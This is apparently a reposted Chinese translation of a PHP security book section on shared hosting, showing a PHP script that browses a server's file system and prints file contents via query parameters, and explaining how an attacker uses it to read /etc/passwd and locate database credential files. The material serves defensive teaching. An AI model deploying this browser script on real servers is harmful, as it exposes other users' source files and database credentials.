[导入]php 安全基础 第八章 共享主机 文件系统浏览
8.4. 文件系統瀏覽
? 除了能在共享服務器上讀取任意文件之外，攻擊者還能建立一個可以瀏覽文件系統的腳本。由于你的大多數敏感文件不會保存在網站主目錄下，此類腳本一般用于找到你的源文件的所在位置。請看下例：
?
? <pre>
?
? <?php
?
? if (isset($_GET['dir']))
? {
? ? ls($_GET['dir']);
? }
? elseif (isset($_GET['file']))
? {
? ? cat($_GET['file']);
? }
? else
? {
? ? ls('/');
? }
?
? function cat($file)
? {
? ? echo htmlentities(file_get_contents($file), ENT_QUOTES, 'UTF-8'));
? }
?
? function ls($dir)
? {
? ? $handle = dir($dir);
?
? ? while ($filename = $handle->read())
? ? {
? ? ? $size = filesize("$dir$filename");
?
? ? ? if (is_dir("$dir$filename"))
? ? ? {
? ? ? ? $type = 'dir';
? ? ? ? $filename .= '/';
? ? ? }
? ? ? else
? ? ? {
? ? ? ? $type = 'file';
? ? ? }
?
? ? ? if (is_readable("$dir$filename"))
? ? ? {
? ? ? ? $line = str_pad($size, 15);
? ? ? ? $line .= "<a href=\"{$_SERVER['PHP_SELF']}";
? ? ? ? $line .= "?$type=$dir$filename\">$filename</a>";
? ? ? }
? ? ? else
? ? ? {
? ? ? ? $line = str_pad($size, 15);
? ? ? ? $line .= $filename;
? ? ? }
?
? ? ? echo "$line\n";
? ? }
?
? ? $handle->close();
? }
?
? ?>
?
? </pre>
?
? 攻擊者可能會首先察看/etc/passwd文件或/home目錄以取得該服務器上的用戶名清單；可以通過語言的結構如include或require來發現保存在網站主目錄以外的源文件所在位置。例如，考慮一下下面的腳本文件/home/victim/public_html/admin.php：
?
? <?php
?
? include '../inc/db.inc';
?
? /* ... */
?
? ?>
?
? 如果攻擊者設法顯示了該文件的源碼，就可以發現db.inc的所在位置，同時他可以使用readfile()函數來使其內容暴露，取得了數據庫的訪問權限。這樣，在這個環境中保存db.inc于網站主目錄之外的做法并未起到保護作用。
? 這一攻擊說明了為什么要把共享服務器上的所有源文件看成是公開的，并要選擇數據庫實現所有敏感數據的保存。
[新聞]NHibernate 2.0.0.Beta1發布了
文章來源:http://www.cnblogs.com/czh-liyu/archive/2008/04/02/1133985.html
轉載于:https://www.cnblogs.com/xfliu/archive/2008/07/01/1233388.html
創作挑戰賽新人創作獎勵來咯，堅持創作打卡瓜分現金大獎總結
以上是生活随笔為你收集整理的[导入]php 安全基础 第八章 共享主机 文件系统浏览的全部內容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： 收到微软商务衬衫
- 下一篇： [导入]php 安全基础 附录B. 函数